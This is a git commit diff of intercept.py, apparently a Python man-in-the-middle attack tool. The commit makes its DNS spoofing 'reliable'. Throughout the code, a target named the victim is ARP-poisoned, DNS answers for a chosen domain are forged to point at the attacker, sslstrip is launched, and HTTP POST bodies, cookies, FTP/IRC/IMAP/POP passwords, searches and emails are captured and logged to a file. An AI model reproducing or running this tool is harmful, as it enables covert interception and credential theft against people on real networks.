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dnsspoofing is finally reliable

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DanMcInerney 2013-10-28 16:51:10 -06:00
parent 509049d824
commit 8c09a80019
1 changed files with 169 additions and 218 deletions
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299
intercept.py
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@ -1,8 +1,6 @@
#!/usr/bin/python #!/usr/bin/python
''' '''
ADD A DICTIONARY OF LOGINS AND PASSWORDS AND ON CTRL-C HAVE IT THROW ALL THE USERNAMES, PASSWORDS, AND SERVER TO OUTPUT
MAKE DNSSPOOF RELIABLE
ADD wifi-monitor TO IT IF NO -ip OPTION EXISTS ADD wifi-monitor TO IT IF NO -ip OPTION EXISTS
''' '''
@ -32,9 +30,8 @@ parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and s
parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet.", action="store_true") parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
parser.add_argument("-s", "--sslstrip", help="Open an xterm window with sslstrip.", action="store_true") parser.add_argument("-s", "--sslstrip", help="Open an xterm window with sslstrip.", action="store_true")
parser.add_argument("-v", "--verboseURL", help="Shows all URLs the victim visits but doesn't limit the URL to 150 characters like -u does.", action="store_true") parser.add_argument("-v", "--verboseURL", help="Shows all URLs the victim visits but doesn't limit the URL to 150 characters like -u does.", action="store_true")
parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument. This is a race condition with the router so this option is unreliable") parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument.")
parser.add_argument("-p", "--post", help="Print unsecured HTTP POST loads, IMAP/POP/FTP/IRC/HTTP usernames/passwords and incoming/outgoing emails. Will also decode base64 encrypted POP/IMAP passwords for you.", action="store_true") parser.add_argument("-p", "--post", help="Print unsecured HTTP POST loads, IMAP/POP/FTP/IRC/HTTP usernames/passwords and incoming/outgoing emails. Will also decode base64 encrypted POP/IMAP passwords for you.", action="store_true")
parser.add_argument("-w", "--write", help="Write to logfile intercept.log.txt in the current directory", action="store_true")
parser.add_argument("-i", "--interface", help="Choose the interface to use. Default is the first one that shows up in `ip route`.") parser.add_argument("-i", "--interface", help="Choose the interface to use. Default is the first one that shows up in `ip route`.")
args = parser.parse_args() args = parser.parse_args()
@ -49,7 +46,6 @@ C = '\033[36m' # cyan
GR = '\033[37m' # gray GR = '\033[37m' # gray
T = '\033[93m' # tan T = '\033[93m' # tan
if args.write:
logger = open('intercept.log.txt', 'w+') logger = open('intercept.log.txt', 'w+')
class Spoof(): class Spoof():
@ -78,10 +74,10 @@ class Parser():
oldHTTPack = '' oldHTTPack = ''
oldHTTPload = '' oldHTTPload = ''
HTTPfragged = 0 HTTPfragged = 0
mail_passwds = []
oldmailack = '' oldmailack = ''
oldmailload = '' oldmailload = ''
mailfragged = 0 mailfragged = 0
sentMsgs = []
def start(self, payload): def start(self, payload):
try: try:
@ -90,16 +86,18 @@ class Parser():
except: except:
return return
if pkt.haslayer(Raw) and pkt.haslayer(TCP): IP_layer = pkt[IP]
IP_dst = pkt[IP].dst
IP_src = pkt[IP].src
if args.urlspy or args.post:
if pkt.haslayer(Raw):
if pkt.haslayer(TCP):
dport = pkt[TCP].dport dport = pkt[TCP].dport
sport = pkt[TCP].sport sport = pkt[TCP].sport
ack = pkt[TCP].ack ack = pkt[TCP].ack
IP_dst = pkt[IP].dst
IP_src = pkt[IP].src
# Can't use repr if we're gzip deflating which will be necessary when code injection is added # Can't use repr if we're gzip deflating which will be necessary when code injection is added
load = repr(pkt[Raw].load)[1:-1] load = repr(pkt[Raw].load)[1:-1]
mail_ports = [25, 26, 110, 143] mail_ports = [25, 26, 110, 143]
# Catch fragmented packets only if they're being sent from the victim to a web server
if dport in mail_ports or sport in mail_ports: if dport in mail_ports or sport in mail_ports:
self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack) self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack)
if dport == 6667 or sport == 6667: if dport == 6667 or sport == 6667:
@ -107,9 +105,31 @@ class Parser():
if dport == 21 or sport == 21: if dport == 21 or sport == 21:
self.ftp(load, IP_dst, IP_src) self.ftp(load, IP_dst, IP_src)
if dport == 80 or sport == 80: if dport == 80 or sport == 80:
self.URL(load, ack, dport, sport, pkt) self.URL(load, ack, dport, sport)
if args.dnsspoof or args.dnsspoofall:
if pkt.haslayer(DNSQR):
dport = pkt[UDP].dport
sport = pkt[UDP].sport
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
if dport == 53 or sport == 53:
dns_layer = pkt[DNS]
self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, localIP, payload)
def URL(self, load, ack, dport, sport, pkt): # Spoof DNS for a specific domain to point to your machine
def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, localIP, payload):
if args.dnsspoof:
if args.dnsspoof in dns_layer.qd.qname:
print G+'[+] DNS request for '+W+args.dnsspoof+G+' found; dropping packet and injecting spoofed one to '+W+localIP
logger.write('[+] DNS request for '+args.dnsspoof+' found; dropping packet and injecting spoofed one to '+localIP+'\n')
payload.set_verdict(nfqueue.NF_DROP)
print G+'[+] Dropped real DNS response. Injecting the spoofed packet sending victim to '+W+localIP
logger.write('[+] Dropped real DNS response. Injecting the spoofed packet sending victim to '+localIP+'\n')
p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=localIP))
send(p)
print G+'[!] Sent spoofed packet for '+W+args.dnsspoof
logger.write('[!] Sent spoofed packet for '+args.dnsspoof+'\n')
def URL(self, load, ack, dport, sport):
host = None host = None
get = None get = None
@ -135,9 +155,11 @@ class Parser():
# Split the packet between headers and body and grab the URL from the headers # Split the packet between headers and body and grab the URL from the headers
# If you see any other login/pw variable names, tell me and I'll add em in here # If you see any other login/pw variable names, tell me and I'll add em in here
# As it stands now this has a moderately high false positive rate; I figured better to err on the site of more data than less and it's easy to tell what's a real hit vs false positive # As it stands now this has a moderately high false positive rate; I figured better to err on the site of more data than less
# email, user, username, name, login, log, loginID
user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)' user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&|;]*)' # password, pass, passwd, pwd, psw, passwrd, passw
pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
header_lines = headers.split(r"\r\n") header_lines = headers.split(r"\r\n")
for l in header_lines: for l in header_lines:
searchHost = re.search('[Hh]ost: ', l) searchHost = re.search('[Hh]ost: ', l)
@ -156,23 +178,27 @@ class Parser():
if host and post: if host and post:
url = host+post url = host+post
# Catch search terms, print url, print post loads # print urls
if url != None: if url != None:
#Print the URL #Print the URL
if args.urlspy: if args.urlspy:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js'] d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
if any(i in url for i in d): if any(i in url for i in d):
return return
if len(url) > 146: if len(url) > 146:
print '[*] '+url[:145] print '[*] '+url[:145]
logger.write('[*] '+url[:145]+'\n')
else: else:
print '[*] '+url print '[*] '+url
logger.write('[*] '+url+'\n')
if args.verboseURL: if args.verboseURL:
print '[*] '+url print '[*] '+url
logger.write('[*] '+url+'\n')
# Catch search terms # Catch search terms
# As it stands now this has a moderately high false positive rate mostly due to the very simple ?s= and ?q= vars # As it stands now this has a moderately high false positive rate mostly due to the very simple ?s= and ?q= vars
# I figured better to err on the site of more data than less and it's easy to tell the false positives from the real searches # I figured better to err on the site of more data than less and it's easy to tell the false positives from the real searches
# search, query, search?q, ?s, &q, ?q, search?p, keywords, command
searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords|command)=([^&][^&]*))', url) searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords|command)=([^&][^&]*))', url)
if searched: if searched:
searched = searched.group(3) searched = searched.group(3)
@ -181,13 +207,13 @@ class Parser():
else: else:
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$') searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
print T+'[+] Searched '+W+host+T+': '+searched+W print T+'[+] Searched '+W+host+T+': '+searched+W
if args.write: logger.write('[+] Searched '+host+ ' for: '+searched+'\n')
logger.write('[+] Searched %s for: ' % host+searched+'\n')
#Print POST load #Print POST load
if post: if post:
if 'ocsp' in url: if 'ocsp' in url:
print B+'[+] POST: '+W+url print B+'[+] POST: '+W+url
logger.write('[+] POST: '+url+'\n')
elif body != '': elif body != '':
try: try:
urlsplit = url.split('/') urlsplit = url.split('/')
@ -196,8 +222,10 @@ class Parser():
pass pass
if self.HTTPfragged == 1: if self.HTTPfragged == 1:
print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W
logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n')
else: else:
print B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W print B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W
logger.write('[+] POST: '+url+" HTTP POST's combined load: "+body+'\n')
username = re.findall(user_regex, body) username = re.findall(user_regex, body)
password = re.findall(pw_regex, body) password = re.findall(pw_regex, body)
self.user_pass(username, password) self.user_pass(username, password)
@ -212,15 +240,12 @@ class Parser():
load = load.replace(r"\r\n", "") load = load.replace(r"\r\n", "")
if 'USER ' in load: if 'USER ' in load:
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
if args.write:
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n') logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
if 'PASS ' in load: if 'PASS ' in load:
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
if args.write:
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n') logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
if 'authentication failed' in load: if 'authentication failed' in load:
print R+'[*] FTP '+load+W print R+'[*] FTP '+load+W
if args.write:
logger.write('[*] FTP '+load+'\n') logger.write('[*] FTP '+load+'\n')
def irc(self, load, dport, sport, IP_src): def irc(self, load, dport, sport, IP_src):
@ -231,27 +256,22 @@ class Parser():
self.IRCnick = load[0].split('NICK ')[1] self.IRCnick = load[0].split('NICK ')[1]
server = load[1].replace('USER user user ', '').replace(' :user', '') server = load[1].replace('USER user user ', '').replace(' :user', '')
print R+'[!] IRC username: '+self.IRCnick+' on '+server+W print R+'[!] IRC username: '+self.IRCnick+' on '+server+W
if args.write:
logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n') logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n')
if 'NS IDENTIFY ' in load[0]: if 'NS IDENTIFY ' in load[0]:
ircpass = load[0].split('NS IDENTIFY ')[1] ircpass = load[0].split('NS IDENTIFY ')[1]
print R+'[!] IRC password: '+ircpass+W print R+'[!] IRC password: '+ircpass+W
if args.write:
logger.write('[!] IRC password: '+ircpass+'\n') logger.write('[!] IRC password: '+ircpass+'\n')
if 'JOIN ' in load[0]: if 'JOIN ' in load[0]:
join = load[0].split('JOIN ')[1] join = load[0].split('JOIN ')[1]
print C+'[+] IRC joined: '+W+join print C+'[+] IRC joined: '+W+join
if args.write:
logger.write('[+] IRC joined: '+join+'\n') logger.write('[+] IRC joined: '+join+'\n')
if 'PART ' in load[0]: if 'PART ' in load[0]:
part = load[0].split('PART ')[1] part = load[0].split('PART ')[1]
print C+'[+] IRC left: '+W+part print C+'[+] IRC left: '+W+part
if args.write:
logger.write('[+] IRC left: '+part+'\n') logger.write('[+] IRC left: '+part+'\n')
if 'QUIT ' in load[0]: if 'QUIT ' in load[0]:
quit = load[0].split('QUIT :')[1] quit = load[0].split('QUIT :')[1]
print C+'[+] IRC quit: '+W+quit print C+'[+] IRC quit: '+W+quit
if args.write:
logger.write('[+] IRC quit: '+quit+'\n') logger.write('[+] IRC quit: '+quit+'\n')
# Catch messages from the victim to an IRC channel # Catch messages from the victim to an IRC channel
if 'PRIVMSG ' in load[0]: if 'PRIVMSG ' in load[0]:
@ -260,22 +280,20 @@ class Parser():
channel = load.split(' :', 1)[0] channel = load.split(' :', 1)[0]
ircmsg = load.split(' :', 1)[1] ircmsg = load.split(' :', 1)[1]
if self.IRCnick != '': if self.IRCnick != '':
print C+'[+] IRC '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W print C+'[+] IRC victim '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W
if args.write:
logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n') logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n')
else: else:
print C+'[+] IRC msg to '+W+channel+C+': '+ircmsg+W print C+'[+] IRC msg to '+W+channel+C+': '+ircmsg+W
if args.write:
logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n') logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n')
# Catch messages from others that tag the victim's nick # Catch messages from others that tag the victim's nick
elif self.IRCnick in load[0] and self.IRCnick != '': elif self.IRCnick in load[0] and self.IRCnick != '':
print 'self.ircnick is in load'
sender_nick = load[0].split(':', 1)[1].split('!', 1)[0] sender_nick = load[0].split(':', 1)[1].split('!', 1)[0]
try: try:
load = load[0].split('PRIVMSG ')[1].split(' :', 1) load = load[0].split('PRIVMSG ')[1].split(' :', 1)
channel = load[0] channel = load[0]
ircmsg = load[1] ircmsg = load[1]
print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W
logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n')
except: except:
return return
@ -289,27 +307,23 @@ class Parser():
else: else:
self.Cookies.append(x) self.Cookies.append(x)
print P+'[+] Cookie found for '+W+host+P+' logged in intercept.log.txt'+W print P+'[+] Cookie found for '+W+host+P+' logged in intercept.log.txt'+W
if args.write:
logger.write('[+] Cookie found for'+host+':'+x.replace('Cookie: ', '')+'\n') logger.write('[+] Cookie found for'+host+':'+x.replace('Cookie: ', '')+'\n')
def user_pass(self, username, password): def user_pass(self, username, password):
if username: if username:
for u in username: for u in username:
print R+'[!] Username found: '+u[1]+W print R+'[!] Username found: '+u[1]+W
if args.write:
logger.write('[!] Username: '+u[1]+'\n') logger.write('[!] Username: '+u[1]+'\n')
if password: if password:
for p in password: for p in password:
if p[1] != '': if p[1] != '':
print R+'[!] Password: '+p[1]+W print R+'[!] Password: '+p[1]+W
if args.write:
logger.write('[!] Password: '+p[1]+'\n') logger.write('[!] Password: '+p[1]+'\n')
def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack): def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack):
# Catch fragmented mail packets # Catch fragmented mail packets
if dport in mail_ports or sport in mail_ports and load != '':
if ack == self.oldmailack: if ack == self.oldmailack:
if load != r'.\r\n':
self.oldmailload = self.oldmailload+load self.oldmailload = self.oldmailload+load
load = self.oldmailload load = self.oldmailload
self.mailfragged = 1 self.mailfragged = 1
@ -337,13 +351,18 @@ class Parser():
self.incoming(headers, body, header_lines, email_headers, sport, dport) self.incoming(headers, body, header_lines, email_headers, sport, dport)
def passwords(self, IP_src, load, dport, IP_dst): def passwords(self, IP_src, load, dport, IP_dst):
# Get rid of all the hex at the beginning of the load
load = load.replace(r'\r\n', '') load = load.replace(r'\r\n', '')
if dport == 143 and IP_src == victimIP and len(load) > 15: if dport == 143 and IP_src == victimIP and len(load) > 15:
if self.IMAPauth == 1 and self.IMAPdest == IP_dst: if self.IMAPauth == 1 and self.IMAPdest == IP_dst:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.IMAPauth = 0
self.IMAPdest = ''
return
print R+'[!] IMAP user and pass found: '+load+W print R+'[!] IMAP user and pass found: '+load+W
if args.write:
logger.write('[!] IMAP user and pass found: '+load+'\n') logger.write('[!] IMAP user and pass found: '+load+'\n')
self.mail_passwds.append(load)
self.decode(load, dport) self.decode(load, dport)
self.IMAPauth = 0 self.IMAPauth = 0
self.IMAPdest = '' self.IMAPdest = ''
@ -352,9 +371,15 @@ class Parser():
self.IMAPdest = IP_dst self.IMAPdest = IP_dst
if dport == 110 and IP_src == victimIP: if dport == 110 and IP_src == victimIP:
if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10: if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.POPauth = 0
self.POPdest = ''
return
print R+'[!] POP user and pass found: '+load+W print R+'[!] POP user and pass found: '+load+W
if args.write:
logger.write('[!] POP user and pass found: '+load+'\n') logger.write('[!] POP user and pass found: '+load+'\n')
self.mail_passwds.append(load)
self.decode(load, dport) self.decode(load, dport)
self.POPauth = 0 self.POPauth = 0
self.POPdest = '' self.POPdest = ''
@ -363,39 +388,42 @@ class Parser():
self.POPdest = IP_dst self.POPdest = IP_dst
if dport == 26: if dport == 26:
if 'AUTH PLAIN ' in load: if 'AUTH PLAIN ' in load:
print R+'[!] POP authentication found: '+load+W # Don't double output mail passwords
if args.write: for x in self.mail_passwds:
logger.write('[!] POP authentication found: '+load+'\n') if load in x:
self.POPauth = 0
self.POPdest = ''
return
print R+'[!] Mail authentication found: '+load+W
logger.write('[!] Mail authentication found: '+load+'\n')
self.mail_passwds.append(load)
self.decode(load, dport) self.decode(load, dport)
def outgoing(self, headers, body, header_lines, email_headers, IP_src): def outgoing(self, headers, body, header_lines, email_headers, IP_src):
if 'Message-ID' in headers: if 'Message-ID' in headers:
for l in header_lines: for l in header_lines:
# Don't double output sent messages
if 'Message-ID' in l:
if l in self.sentMsgs:
return
else:
self.sentMsgs.append(l)
for x in email_headers: for x in email_headers:
if x in l: if x in l:
self.OheadersFound.append(l) self.OheadersFound.append(l)
# if date, from, to in headers then print the message
if len(self.OheadersFound) > 3 and body != '': if len(self.OheadersFound) > 3 and body != '':
if self.mailfragged == 1:
print O+'[!] OUTGOING MESSAGE (fragmented)'+W
logger.write('[!] OUTGOING MESSAGE (fragmented)\n')
for x in self.OheadersFound:
print O+' ',x+W
logger.write(' '+x+'\n')
print O+' Message:',body+W
logger.write(' Message:'+body+'\n')
else:
print O+'[!] OUTGOING MESSAGE'+W print O+'[!] OUTGOING MESSAGE'+W
if args.write:
logger.write('[!] OUTGOING MESSAGE\n') logger.write('[!] OUTGOING MESSAGE\n')
for x in self.OheadersFound: for x in self.OheadersFound:
print O+' ',x+W print O+' ',x+W
if args.write:
logger.write(' '+x+'\n') logger.write(' '+x+'\n')
try:
body = body.split(r'\r\n\x')[0]
print O+' Message:',body+W print O+' Message:',body+W
except:
print O+' [!] Could not parse message body'+W
pass
if args.write:
logger.write(' Message:'+body+'\n') logger.write(' Message:'+body+'\n')
self.OheadersFound = [] self.OheadersFound = []
def incoming(self, headers, body, header_lines, email_headers, sport, dport): def incoming(self, headers, body, header_lines, email_headers, sport, dport):
@ -413,15 +441,21 @@ class Parser():
except: except:
return return
if message != '': if message != '':
if self.mailfragged == 1:
print O+'[!] INCOMING MESSAGE (fragmented)'+W
logger.write('[!] INCOMING MESSAGE (fragmented)\n')
for x in self.IheadersFound:
print O+' '+x+W
logger.write(' '+x+'\n')
print O+' Message: '+message+W
logger.write(' Message: '+message+'\n')
else:
print O+'[!] INCOMING MESSAGE'+W print O+'[!] INCOMING MESSAGE'+W
if args.write:
logger.write('[!] INCOMING MESSAGE\n') logger.write('[!] INCOMING MESSAGE\n')
for x in self.IheadersFound: for x in self.IheadersFound:
print O+' '+x+W print O+' '+x+W
if args.write:
logger.write(' '+x+'\n') logger.write(' '+x+'\n')
print O+' Message: '+message+W print O+' Message: '+message+W
if args.write:
logger.write(' Message: '+message+'\n') logger.write(' Message: '+message+'\n')
self.IheadersFound = [] self.IheadersFound = []
@ -442,7 +476,6 @@ class Parser():
# Test to see if decode worked # Test to see if decode worked
if '@' in decoded: if '@' in decoded:
print R+'[!] Decoded:'+decoded+W print R+'[!] Decoded:'+decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n') logger.write('[!] Decoded:'+decoded+'\n')
#Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor #Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
@ -466,20 +499,9 @@ class Queued(object):
class Threads(): class Threads():
def dnsspoof(self, victimIP):
while 1:
a=sniff(filter='port 53 and host %s' % victimIP, count=1, promisc=1)
DNSpkt = a[0]
if not DNSpkt.haslayer(DNSQR):
continue
if args.dnsspoof in DNSpkt.qd.qname:
send(mkspoof(DNSpkt))
print G + '[+] Spoofed:', DNSpkt.qd.qname + W
def sslstrip(self, DN): def sslstrip(self, DN):
print 'Redirecting traffic to port 10000 and starting sslstrip\n' print 'Redirecting traffic to port 10000 and starting sslstrip\n'
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000') os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
# os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
xterm = ['xterm', '-e', 'sslstrip', '-f', '-w', 'sslstrip.txt'] xterm = ['xterm', '-e', 'sslstrip', '-f', '-w', 'sslstrip.txt']
Popen(xterm, stdout=PIPE, stderr=DN) Popen(xterm, stdout=PIPE, stderr=DN)
@ -487,7 +509,7 @@ class Threads():
xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface] xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface]
Popen(xterm, stdout=PIPE, stderr=DN) Popen(xterm, stdout=PIPE, stderr=DN)
def start_threads(self, victimIP, interface, DN):#, victimMAC, routerMAC, routerIP): def start_threads(self, interface, DN):
#start twisted reactor in thread #start twisted reactor in thread
rt = Thread(target=reactor.run, args=(False,)) #reactor must be started without signal handling since it's not in the main thread rt = Thread(target=reactor.run, args=(False,)) #reactor must be started without signal handling since it's not in the main thread
@ -502,10 +524,6 @@ class Threads():
ssl = Thread(target=self.sslstrip, args=(DN,)) ssl = Thread(target=self.sslstrip, args=(DN,))
ssl.daemon = True ssl.daemon = True
ssl.start() ssl.start()
if args.dnsspoof:
dns = Thread(target=self.dnsspoof, args=(victimIP,))
dns.daemon = True
dns.start()
#Print all the variables #Print all the variables
def print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP): def print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
@ -514,7 +532,9 @@ def print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
print "[*] DNS server: " + dnsIP print "[*] DNS server: " + dnsIP
print "[*] Local domain: " + local_domain print "[*] Local domain: " + local_domain
print "[*] Router IP: " + routerIP print "[*] Router IP: " + routerIP
print "[*] Client IP: " + victimIP print "[*] victim IP: " + victimIP
logger.write("[*] Router IP: " + routerIP+'\n')
logger.write("[*] victim IP: " + victimIP+'\n')
#Enable IP forwarding and flush possibly conflicting iptables rules #Enable IP forwarding and flush possibly conflicting iptables rules
def setup(DN, victimMAC): def setup(DN, victimMAC):
@ -533,38 +553,16 @@ def setup(DN, victimMAC):
# os.system('iptables -t nat -A PREROUTING -p tcp -s %s -j NFQUEUE' % victimIP) # os.system('iptables -t nat -A PREROUTING -p tcp -s %s -j NFQUEUE' % victimIP)
# os.system('iptables -t nat -A PREROUTING -p tcp -d %s -j NFQUEUE' % victimIP) # os.system('iptables -t nat -A PREROUTING -p tcp -d %s -j NFQUEUE' % victimIP)
# Just throw packets that are from and to the victim into the reactor # Just throw packets that are from and to the victim into the reactor
os.system('iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
# To catch DNS packets you gotta do prerouting rather than forward for some reason?
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
print '[*] Forwarded traffic to the queue' print '[*] Forwarded traffic to the queue'
def main(): def main():
#For use in URL_cb, mailspy respectively global victimIP
global victimMAC, victimIP
# Cleans up if Ctrl-C is caught
def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
if args.write:
logger.close()
if args.dnsspoof:
q.unbind(socket.AF_INET)
q.close()
ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
ipf.write('0\n')
ipf.close()
if not dnsIP == routerIP:
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
os.system('iptables -F')
os.system('iptables -X')
os.system('iptables -t nat -F')
os.system('iptables -t nat -X')
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
exit(0)
signal.signal(signal.SIGINT, signal_handler)
#Check if root #Check if root
if not geteuid()==0: if not geteuid()==0:
@ -630,11 +628,13 @@ def main():
try: try:
routerMAC = Spoof().originalMAC(routerIP) routerMAC = Spoof().originalMAC(routerIP)
print "[*] Router MAC: " + routerMAC print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: "+routerMAC+'\n')
except: except:
exit("[!] Could not get router MAC address") exit("[!] Could not get router MAC address")
try: try:
victimMAC = Spoof().originalMAC(victimIP) victimMAC = Spoof().originalMAC(victimIP)
print "[*] Victim MAC: " + victimMAC print "[*] Victim MAC: " + victimMAC
logger.write("[*] Victim MAC: "+routerMAC+'\n')
except: except:
exit("[!] Could not get victim MAC address") exit("[!] Could not get victim MAC address")
if dnsIP != routerIP: if dnsIP != routerIP:
@ -649,7 +649,26 @@ def main():
setup(DN, victimMAC) setup(DN, victimMAC)
Queued() Queued()
th = Threads() th = Threads()
th.start_threads(victimIP, interface, DN) th.start_threads(interface, DN)
# Cleans up if Ctrl-C is caught
def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
logger.close()
ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
ipf.write('0\n')
ipf.close()
if not dnsIP == routerIP:
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
os.system('iptables -F')
os.system('iptables -X')
os.system('iptables -t nat -F')
os.system('iptables -t nat -X')
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1: while 1:
#If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router #If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router
@ -660,71 +679,3 @@ def main():
if __name__ == "__main__": if __name__ == "__main__":
main() main()
# except select.error as ex:
# if ex[0] == 4:
# pass
# else:
# raise
# Threads().start_threads(victimIP, interface, DN)#, victimMAC, routerMAC, routerIP)
# while 1:
# try:
# #If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router
# if not dnsIP == routerIP:
# Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
# Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
# time.sleep(1.5)
# except KeyboardInterrupt:
# print 'learing iptables, sending healing packets, and turning off IP forwarding...'
# if args.write:
# logger.close()
# if args.dnsspoof:
# q.unbind(socket.AF_INET)
# q.close()
# ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
# ipf.write('0\n')
# ipf.close()
# if dnsIP != routerIP:
# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
# Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
